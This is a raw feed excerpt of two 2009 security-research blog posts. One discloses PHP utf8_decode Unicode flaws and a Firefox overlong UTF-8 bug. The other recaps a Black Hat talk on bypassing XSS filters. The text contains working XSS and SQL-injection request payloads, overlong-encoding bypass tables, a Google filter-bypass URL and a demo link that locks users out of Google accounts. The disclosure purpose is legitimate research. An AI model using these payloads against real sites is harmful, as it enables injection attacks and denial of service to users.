&lt;br /&gt;
In any case, a couple of bugs came to my attention, some of them are public, some of them are not.&lt;br /&gt;
&lt;br /&gt;
First of all, I want to describe the PHP vulnerability I made public on my presentation with David Lindsay, at &lt;a href="http://sirdarckcat.blogspot.com/2009/08/our-favorite-xss-filters-and-how-to.html"&gt;Blackhat USA 2009&lt;/a&gt;, that apparently only &lt;a href="https://twitter.com/christoweb/status/3130572209"&gt;Chris Weber&lt;/a&gt;, &lt;a href="http://noscript.net/changelog#1.9.6.1"&gt;Giorgio Maone (creator of NoScript)&lt;/a&gt;, &lt;a href="http://php-ids.org/"&gt;Mario Heiderich (creator of PHP-IDS)&lt;/a&gt; and the &lt;a href="http://www.acunetix.com/blog/web-security-articles/security-risks-associated-with-utf8_decode/"&gt;Acunetix security team&lt;/a&gt; have realized the danger of it.&lt;br /&gt;
&lt;br /&gt;
It has been reported, well, &lt;a href="http://bugs.php.net/bug.php?id=48230"&gt;more than enough times&lt;/a&gt; to the PHP team (I made another attempt today, hoping this will get fixed in some time soon.. if at all). This issue affects all PHP versions Mario Heiderich and me could test, and endangers practically all PHP programs that use the &lt;a href="http://php.net/utf8_decode"&gt;utf8_decode()&lt;/a&gt; function for decoding (as recommended by OWASP guidelines).&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;The disclosure timeline follows:&lt;br /&gt;
* Reported by root@80sec.com: May 11 2009&lt;br /&gt;
* Discovered by webmaster@lapstore.de: June 19 2009&lt;br /&gt;
* Discovered by Giorgio Maone / Eduardo Vela: July 14 2009&lt;br /&gt;
* Reported and Fixed on PHPIDS: July 14 2009&lt;br /&gt;
* Microsoft notified of a XSS Filter bypass: July 14 2009&lt;br /&gt;
* Fixed XSS Filter bypass on NoScript 1.9.6:&amp;nbsp; July 20 2009&lt;br /&gt;
* Vulnerability disclosed on BlackHat USA 2009: July 29 2009&lt;br /&gt;
* Added signature to Acunetix WVS: August 14 2009&lt;br /&gt;
* Re-reported by sird@rckc.at: September 27 2009&lt;br /&gt;
* Vendor claims it was fixed on 5.2.11: September 29 2009&lt;br /&gt;
* Re-re-reported by sird@rckc.at after checking 5.2.11: October 16 2009&lt;br /&gt;
* Published sirdarckcat.blogspot.com: October 16 2009&lt;br /&gt;
&lt;/blockquote&gt;&lt;br /&gt;
You can check the bug here:&lt;br /&gt;
&lt;a href="http://bugs.php.net/bug.php?id=49687"&gt;http://bugs.php.net/bug.php?id=49687&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
In reality there are several vulns in just a couple of lines, so I'll describe them here:&lt;br /&gt;
&lt;span style="font-size: large;"&gt;1.- &lt;b&gt;Overlong UTF-8:&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;blockquote&gt;As REQUIRED by UNICODE 3.1, and noted in the Unicode Technical Report #36, UTF-8 is forbidden to interpretate a character's non-shortest form.&lt;br /&gt;
&lt;/blockquote&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;a href="http://www.unicode.org/reports/tr36/#UTF-8_Exploit"&gt;http://www.unicode.org/reports/tr36/#UTF-8_Exploit&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;VULN: &lt;i&gt;PHP makes no checks whatsoever on this matter.&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Why is this a vulnerability?&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
A filter (such as addslashes, htmlentities, escapeshellarg, etc.) will NOT be able to detect&amp;amp;escape such byte sequences, and so an application that relies on them for security checks wont be protected at all. Because it allows an attacker to encode "dangerous" chars, such as ', ", &amp;lt;, ;, &amp;amp;, \0 in different ways:&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;' = %27 = %c0%a7 = %e0%80%a7 = %f0%80%80%a7&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;" = %22 = %c0%a2 = %e0%80%a2 = %f0%80%80%a2&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;lt; = %3c = %c0%bc = %e0%80%bc = %f0%80%80%bc&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;; = %3b = %c0%bb = %e0%80%bb = %f0%80%80%bb&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;amp; = %26 = %c0%a6 = %e0%80%a6 = %f0%80%80%a6&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;\0= % 00 = %c0%80 = %e0%80%80 = %f0%80%80%80&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php#JiA9IDxAb3ZlcmxvbmdfdXRmOF8wKDEpPiY8QC9vdmVybG9uZ191dGY4XzA%2BID0gPEBvdmVybG9uZ191dGY4XzEoMik%2BJjxAL292ZXJsb25nX3V0ZjhfMT4gPSA8QG92ZXJsb25nX3V0ZjhfMigzKT4mPEAvb3ZlcmxvbmdfdXRmOF8yPiA9IDxAb3ZlcmxvbmdfdXRmOF8zKDQpPiY8QC9vdmVybG9uZ191dGY4XzM%2B"&gt;Use hackvertor to generate them.&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Enabling attacks on systems that use addslashes for example (but almost all encoding functions would be vulnerable):&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;// add slashes!&lt;br /&gt;
foreach($_GET as $k=&amp;gt;$v)$_GET[$k]=&lt;b style="background-color: yellow;"&gt;addslashes&lt;/b&gt;("$v");&lt;br /&gt;
&lt;br /&gt;
//&amp;nbsp; .... some code ...&lt;br /&gt;
&lt;br /&gt;
// $name is encoded in utf8&lt;br /&gt;
$name=&lt;b&gt;&lt;span style="background-color: orange;"&gt;utf8_decode&lt;/span&gt;&lt;/b&gt;($_GET['name']);&lt;br /&gt;
mysql_query("SELECT * FROM table WHERE name='$name';");&lt;br /&gt;
&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&lt;/blockquote&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-size: large;"&gt;2.-&lt;b&gt; Ill formed sequences&lt;/b&gt;:&lt;/span&gt;&lt;br /&gt;
As REQUIRED by UNICODE 3.0, and noted in the Unicode Technical Report #36, if a leading byte is followed by an invalid successor byte, then it should NOT consume it.&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;a href="http://www.unicode.org/reports/tr36/#Ill-Formed_Subsequences"&gt;http://www.unicode.org/reports/tr36/#Ill-Formed_Subsequences&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;VULN: &lt;i&gt;PHP will consume invalid bytes.&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Why is this a vulnerability?&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
It will allow an attacker to "eat" controll chars. For example:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;// htmlentities&lt;br /&gt;
foreach($_GET as $k=&amp;gt;$v)$_GET[$k]=&lt;b&gt;&lt;span style="background-color: yellow;"&gt;htmlentities&lt;/span&gt;&lt;/b&gt;("$v",ENT_QUOTES);&lt;br /&gt;
&lt;br /&gt;
//&amp;nbsp; ... some code ...&lt;br /&gt;
&lt;br /&gt;
$name=$_GET['name'];&lt;br /&gt;
$url=$_GET['url'];&lt;br /&gt;
&lt;br /&gt;
//&amp;nbsp; ... some code ...&lt;br /&gt;
&lt;br /&gt;
$profileImage="&amp;lt;img alt=\"Photo of $name\" src=\"http://$url\" /&amp;gt;";&lt;br /&gt;
&lt;br /&gt;
// ... some code ...&lt;br /&gt;
echo&lt;b&gt; &lt;span style="background-color: orange;"&gt;utf8_decode&lt;/span&gt;&lt;/b&gt;($profileImage);&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&lt;/blockquote&gt;&lt;br /&gt;
A request such as:&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;?name=%90&amp;amp;src=%20onerror=alert(1)%20&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Will execute the code "alert(1)" when the page loads.&lt;br /&gt;
&lt;br /&gt;
Note that htmlpurifier does a utf8_decode function call at the end of the decoding, BUT they are safe because of a pre-encoding made by htmlpurifier.. other codes that do the same wont be so lucky.&lt;br /&gt;
&lt;br /&gt;
Bogdan Calin from Acunetix WVS described a couple of other potential attack scenarios:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;&lt;a href="http://www.acunetix.com/blog/wp-content/uploads/2009/08/xss_utf8_decode.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://www.acunetix.com/blog/wp-content/uploads/2009/08/xss_utf8_decode.PNG" /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;/blockquote&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;br /&gt;
Where an attacker could fool the filter by doing a request like:&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;vuln.php?input=&lt;/span&gt;&lt;b style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="color: red;"&gt;%F6%3C&lt;span style="color: black;"&gt;img+onmouseover=prompt(/xss/)//&lt;/span&gt;%F6%3E&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
And:&lt;br /&gt;
&lt;blockquote&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://www.acunetix.com/blog/wp-content/uploads/2009/08/sql_injection_addslashes_utf8_decode.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://www.acunetix.com/blog/wp-content/uploads/2009/08/sql_injection_addslashes_utf8_decode.PNG" /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;/div&gt;&lt;/blockquote&gt;&lt;br /&gt;
&lt;blockquote&gt;&lt;br /&gt;
&lt;/blockquote&gt;Where an attacker could fool the filter by doing a request like:&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;index.php?username=&lt;b&gt;test&lt;span style="color: red;"&gt;%FC%27%27&lt;/span&gt;+or+1=1+–+&lt;/b&gt;&amp;amp;password=a&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-size: large;"&gt;3.- &lt;b&gt;Integer overflow:&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
Unsigned short has a size of 16 bits (2 bytes), that is UNCAPABLE of storing unicode characters of 21 bits, and represented on UTF with 4 bytes (1111 0xxx 10xx xxxx 10xx xxxx 10xx xxxx). PHP attempts to sum a 21 bits value to a 16 bits-size variable, and then makes no checks on the value.&lt;br /&gt;
&lt;br /&gt;
The affected code follows:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;//&amp;nbsp; php/ext/xml/xml.c#558&lt;br /&gt;
PHPAPI char *xml_utf8_decode(&amp;nbsp;&amp;nbsp;&amp;nbsp; //&amp;nbsp; ...&lt;br /&gt;
{&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; int pos = len;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; char *newbuf = emallo&amp;nbsp;&amp;nbsp;&amp;nbsp; //&amp;nbsp; ...&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; unsigned short c;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; // &lt;b&gt;sizeof(unsigned short)==16 &lt;/b&gt;bits&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; char (*decoder)(unsig&amp;nbsp;&amp;nbsp;&amp;nbsp; //&amp;nbsp; ...&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; xml_encoding *enc = x&amp;nbsp;&amp;nbsp;&amp;nbsp; //&amp;nbsp; ...&lt;br /&gt;
//&amp;nbsp; ...&lt;br /&gt;
//&amp;nbsp; #580&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; c = (unsigned char)(*s);&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; if (c &amp;gt;= 0xf0) {&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; /* &lt;b&gt;four bytes encoded, 21&lt;/b&gt; bits */&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; if(pos-4 &amp;gt;= 0) {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; c = (&lt;b&gt;(s[0]&amp;amp;7)&amp;lt;&amp;lt;18) | ((s[1]&amp;amp;63)&amp;lt;&amp;lt;12)&lt;/b&gt; | ((s[2]&amp;amp;63)&amp;lt;&amp;lt;6) | (s[3]&amp;amp;63);&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; } else {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; c = '?';&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; s += 4;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; pos -= 4;&lt;br /&gt;
//&amp;nbsp; ...&lt;br /&gt;
&lt;/blockquote&gt;&lt;br /&gt;
The relevant part of the code is of course, the declaration of c as an unsigned int, the comment specifing that the char is 21 bits, and this:&lt;br /&gt;
&lt;blockquote&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;x= ((s[0]&amp;amp;7)&amp;lt;&amp;lt;18) | ...&lt;/span&gt;&lt;br /&gt;
&lt;/blockquote&gt;&lt;br /&gt;
s[0]&amp;amp;7&amp;lt;&amp;lt;18 means it will move 3 bits, 18 bits to the right. As we noted before.. c's size is only 16 bits.&lt;br /&gt;
&lt;blockquote&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;(xxxx xxxx &amp;amp; 0000 0111) &amp;lt;&amp;lt; 18&lt;/span&gt;&lt;br /&gt;
&lt;/blockquote&gt;&lt;br /&gt;
Also, this part:&lt;br /&gt;
&lt;blockquote&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;...&amp;nbsp; ((s[1]&amp;amp;63)&amp;lt;&amp;lt;12) | ...&lt;/span&gt;&lt;br /&gt;
&lt;/blockquote&gt;&lt;br /&gt;
s[1]&amp;amp;63&amp;lt;&amp;lt;12 means it will move 6 bits, 12 bits to the right. So, 2 bits are going to be lost.&lt;br /&gt;
&lt;blockquote&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;(xxxx xxxx &amp;amp; 0011 1111) &amp;lt;&amp;lt; 12&lt;/span&gt;&lt;br /&gt;
&lt;/blockquote&gt;&lt;br /&gt;
This allows us to make something even more interesting.&lt;br /&gt;
&lt;br /&gt;
Code like this:&lt;br /&gt;
&lt;br /&gt;
&lt;b style="color: red;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;%FF%F0%40%FC&lt;/span&gt;&lt;/b&gt; that is invalid unicode, overlong, and all you want (definatelly NOT valid), will be casted as a "lower than" simbol (&amp;lt;).&lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://eaea.sirdarckcat.net/xss.php?unicode&amp;amp;html_xss=%FF%F0%40%FC"&gt;http://eaea.sirdarckcat.net/xss.php?unicode&amp;amp;html_xss=%FF%F0%40%FC&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
This besides the already mentioned problems, and the possibility of bypassing quite a lot of WAFs and Filters.. demonstrate the problem of a bad unicode implementation on PHP.&lt;br /&gt;
&lt;br /&gt;
I hope the PHP development team acknowledges all this issues that have been reported before, and were explained some months ago on Blackhat USA (and the developers were noticed to check the ppt more than once), and now are explained yet another time.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;This was fixed on 5.2.11 :) on my birthday!! Sept 17&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Anyway.. that's not all, now to finish this post I want to publish a overlong utf-8 exception on Firefox (actually, Mozilla's).&lt;br /&gt;
&lt;br /&gt;
&lt;h1&gt;The firefox one&lt;/h1&gt;&lt;br /&gt;
Firefox is supposed to consider the non-shortest form exception (point #1 in the PHP vulnerabilities), and section 3.1 of the Unicode Technical Report #36 but apparently there's a flaw on it. This is specially problematic for the reasons that an overlong unicode sequence not taken into consideration may allow several types of filter bypasses.&lt;br /&gt;
&lt;br /&gt;
Anyway, the severity of this vulnerability is not as high as the PHP ones, but is worth mentioning. The following non-shortest form for the char U+1000:&lt;br /&gt;
&lt;blockquote&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;0xF0 0x81 0x80 0x80&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;
is allowed, as well as the correct shortest form:&lt;br /&gt;
&lt;blockquote&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;0xE1 0x80 0x80&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;
Note that this problem is only present on the 4 bytes representation.&lt;br /&gt;
&lt;br /&gt;
You can track this bug at:&lt;br /&gt;
&lt;a href="https://bugzilla.mozilla.org/show_bug.cgi?id=522634"&gt;https://bugzilla.mozilla.org/show_bug.cgi?id=522634&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Anyway, that's all! Thanks for your time :)&lt;br /&gt;
&lt;br /&gt;
Greetings!!&lt;div class="blogger-post-footer"&gt;&lt;hr /&gt;
&lt;a href="http://sirdarckcat.net/"&gt;sirdarckcat&lt;/a&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7482149-6447658206566334811?l=sirdarckcat.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/JhOKQ4Zs4QGPhNi4miDhnxuuvj4/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/JhOKQ4Zs4QGPhNi4miDhnxuuvj4/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/JhOKQ4Zs4QGPhNi4miDhnxuuvj4/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/JhOKQ4Zs4QGPhNi4miDhnxuuvj4/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/sirdarckcat/~4/-47-nZ9DxKo" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://sirdarckcat.blogspot.com/feeds/6447658206566334811/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://sirdarckcat.blogspot.com/2009/10/couple-of-unicode-issues-on-php-and.html#comment-form" title="7 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7482149/posts/default/6447658206566334811?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7482149/posts/default/6447658206566334811?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/sirdarckcat/~3/-47-nZ9DxKo/couple-of-unicode-issues-on-php-and.html" title="A couple of unicode issues on PHP and Firefox" /><author><name>sirdarckcat</name><uri>http://www.blogger.com/profile/12601594427575096471</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>7</thr:total><feedburner:origLink>http://sirdarckcat.blogspot.com/2009/10/couple-of-unicode-issues-on-php-and.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D0QEQXw4fip7ImA9WxJaGE0.&quot;"><id>tag:blogger.com,1999:blog-7482149.post-3239121748994887563</id><published>2009-08-04T03:30:00.001-05:00</published><updated>2009-08-09T03:08:20.236-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-08-09T03:08:20.236-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="javascript" /><category scheme="http://www.blogger.com/atom/ns#" term="firefox" /><category scheme="http://www.blogger.com/atom/ns#" term="csrf" /><category scheme="http://www.blogger.com/atom/ns#" term="noscript" /><category scheme="http://www.blogger.com/atom/ns#" term="xss" /><category scheme="http://www.blogger.com/atom/ns#" term="DoS" /><category scheme="http://www.blogger.com/atom/ns#" term="iexporer" /><category scheme="http://www.blogger.com/atom/ns#" term="google" /><category scheme="http://www.blogger.com/atom/ns#" term="html" /><title>Our Favorite XSS Filters and how to Attack them</title><content type="html">So well, Black Hat 2009 and DEFCON 17 are over now, and on Black Hat I presented twice, so I want to&lt;br /&gt;
do a quick recap.&lt;br /&gt;
&lt;br /&gt;
If you asisted to them, I would appreciate any feedback, since the blackhat's feedback system about&lt;br /&gt;
the passport stuff is like.. not-public, so its completely useless for me.&lt;br /&gt;
&lt;br /&gt;
So, if anyone want's to give feedback, you can use the comments or send me an email at sird@rckc.at&lt;br /&gt;
&lt;br /&gt;
David Lindsay also made a nice write up about the presentation in here:&lt;br /&gt;
&lt;a href="http://p42.us/?p=42"&gt;http://p42.us/?p=42&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
You can get our slides from here:&lt;br /&gt;
&lt;a href="http://p42.us/favxss/"&gt;http://p42.us/favxss/&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
I don't know if the CNN and Java.net bugs have been fixed, but they did worked at the stage (we made&lt;br /&gt;
a live-demo on how to bypass the IE8 xss filter), and well there's an errata on the NoScript section.&lt;br /&gt;
&lt;br /&gt;
There was a fix I didnt tested regarding the same origin exception, so now instead of using:&lt;br /&gt;
&lt;div style="color: blue;"&gt;http://www.google.com/imgres?imgurl=http://tinyurl.com/ZWZ8Z4&amp;amp;imgrefurl=http://tinyurl.com/ZWZ8Z4&lt;/div&gt;&lt;br /&gt;
Use:&lt;br /&gt;
&lt;a href="http://www.google.com/imgres?imgurl=http://pwn&amp;amp;imgrefurl=/search?q=ZWZ8Z4%26btnI=l%23asciifullNameRowId"&gt;http://www.google.com/imgres?imgurl=http://pwn&amp;amp;imgrefurl=/search?q=ZWZ8Z4%26btnI=l%23asciifullNameRowId&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Since we dont really need TinyURL, it was just an extra, but well, it makes sense for it to get fixed.&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;And also, the DoS &amp;amp; pwn for NoScript well, apparently because of something related to ABE, now noscript will absolutely kill your browser.&lt;/i&gt;&amp;nbsp; Upgrade to latest NoScript to be protected against the PoC of the presentation.&lt;br /&gt;
&lt;br /&gt;
So, in the talk, david presented about the not-so-filtered html/js tricks we use, the unicode part was a &lt;br /&gt;
quick (very quick) recap since Chris Weber was going to have a cool presentation about Unicode the next &lt;br /&gt;
day (and it was awesome!!!) but anyway, regarding the unicode section, I made a quick demo on a vuln on &lt;br /&gt;
PHP's 4, 5 and 6 utf8_decode function that allows an attacker to do cool filter bypasses.&lt;br /&gt;
&lt;br /&gt;
The PHP-IDS section, I'm not sure if Mario has fixed it, but my bypass was fixed.&lt;br /&gt;
&lt;br /&gt;
Besides that, if you are going to use PHP-IDS, you can be sure that thornmaker and all the slackers crew&lt;br /&gt;
is gonna be there to break it and report it waay before a real-life attacker can bypass it, just remember&lt;br /&gt;
to keep it updated.&lt;br /&gt;
&lt;br /&gt;
So, the talk was cool, I actually thought I wasn't going to finish on time so I was talking very fast, and&lt;br /&gt;
in a matter of fact I actually talked so fast that I actually finished 10 minutes before time.&lt;br /&gt;
&lt;br /&gt;
So well, after that, I spoke with a couple of people about the presentation, and I got quite a lot of biz&lt;br /&gt;
cards (I didn't realized untill I got to the hotel and emptied my pockets.. I actually can't rememer to who&lt;br /&gt;
all those cards belong to), so if I told you I was going to get back to you later, you should probably send&lt;br /&gt;
me an email (sird@rckc.at) since I probably wont recognize your name in your card (my memory sucks!).&lt;br /&gt;
&lt;br /&gt;
So well, the second day I had another talk, that was a solution Im working on, that sort of competes with &lt;br /&gt;
Mozilla CSP (could help as a transition to CSP) called ACS -&amp;nbsp; Active Content Signatures, that will implement&lt;br /&gt;
security measures for protecting against XSS on the client-side without the need of an addon on your browser.&lt;br /&gt;
&lt;br /&gt;
I plan to implement some of NoScript features, as well as IE8 XSS Filter, and CSP, so I'll try just to get&lt;br /&gt;
the best of the best stuff in there. Inlcuding a JS sandbox that is being made by Gareth Hayes and that sort&lt;br /&gt;
of combines the best of Google Caja and Facebook JS sandbox but all in the client side, so you dont need to&lt;br /&gt;
do ANYTHING at all in the server :).&lt;br /&gt;
&lt;br /&gt;
The second talk was an epic fail, I lost my document (it was on the Downloads folder, duh!) so there was &lt;br /&gt;
like a 5 to 10 minutes gap of me setting up my computer and not-finding the doc..&lt;br /&gt;
&lt;br /&gt;
Thankfully it was a breakout session so it wasn't taped haha, anyway, my audience was small but very &lt;br /&gt;
speciallized, the Mozilla security squid and Mozilla securinator were there, as well as david ross, the &lt;br /&gt;
author of the super-IE8 XSS filter, a couple of friends and some other people.. The q&amp;amp;a at the end was&lt;br /&gt;
very cool :).&lt;br /&gt;
&lt;br /&gt;
I haven't published the details of the .doc of ACS since well, it is still in an early stage but if you &lt;br /&gt;
are interested I will send you a draft. I am planing to present it during this month, and I will let you&lt;br /&gt;
all guys know in this blog, together with a nice demo.&lt;br /&gt;
&lt;br /&gt;
The HTML Parser of ACS together with the JavaScript sandbox (JSReg) of Gareth can be tried at:&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;a href="http://eaea.sirdarckcat.net/testhtml.html"&gt;http://eaea.sirdarckcat.net/testhtml.html&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
If you can hack it, please do it (and let me now =D). There's a sla.ckers.org thread about it here:&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;a href="http://sla.ckers.org/forum/read.php?2,29259"&gt;http://sla.ckers.org/forum/read.php?2,29259&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Also, I want to state that I want to do:&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; ./pressure.pl -h tra.ckers.org -p /rsnake -p /id&lt;br /&gt;
&lt;br /&gt;
So well, blackhat was a lot of fun, and actually I wasn't planning to stay for defcon, but with a fast &lt;br /&gt;
flight change and a lot of luck, I was able to stay more time, and go to defcon.&lt;br /&gt;
&lt;br /&gt;
I want to say that DEFCON is waaaaaaaaaaay too fun, I didn't know it was so cool! BlackHat is like for &lt;br /&gt;
CSOs, CTOs, etc.. so vendors were like giving away gifts to everyone so they will buy their stuff, and&lt;br /&gt;
well, the talks were more interesting, but anyway, defcon rocks.&lt;br /&gt;
&lt;br /&gt;
The 2wire talk that my friend &lt;a href="http://www.hakim.ws/"&gt;hakim&lt;/a&gt; gave was very cool, we went to war driving in a limousine the night&lt;br /&gt;
before, that was fun as hell haha.&lt;br /&gt;
&lt;br /&gt;
It was nice to meet all those slackers in blackhat/defcon, I'm sorry for all those casinos in the strip&lt;br /&gt;
that got their wifi-paying system completely bypassed by a very skilled slacker (whose identity prefers to &lt;br /&gt;
be kept private), but the hotels include bellagio, mirage, paris, caesars palace, circus circus, riviera&lt;br /&gt;
and well probably every hotel in the world that uses COX for providing the service (maybe also Lodgenet).&lt;br /&gt;
&lt;br /&gt;
Ah btw, regarding the last post of Google Analytics, I want to show something I think is very cool. To make&lt;br /&gt;
impossible to a user to logout and/or login to any google service (gmail/google reader/google analytics/&lt;br /&gt;
adsense/adwords/etc..).&lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://google.sirdarckcat.net/?v=https://www.google.com/accounts"&gt;http://google.sirdarckcat.net/?v=https://www.google.com/accounts&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
If you readed all this post and you are not following me on twitter, then well, there it is!&lt;br /&gt;
&lt;br /&gt;
When your victim gets a "bad request" that means, "you win". Google knows about this since like 4 or 5 months&lt;br /&gt;
ago.. and it's still unfixed. If one day you can't access your google account, or can't logout, try deleting&lt;br /&gt;
all your cookies.. And either use noscript and mark googleanalitycs.com as untrusted, or point in your hosts&lt;br /&gt;
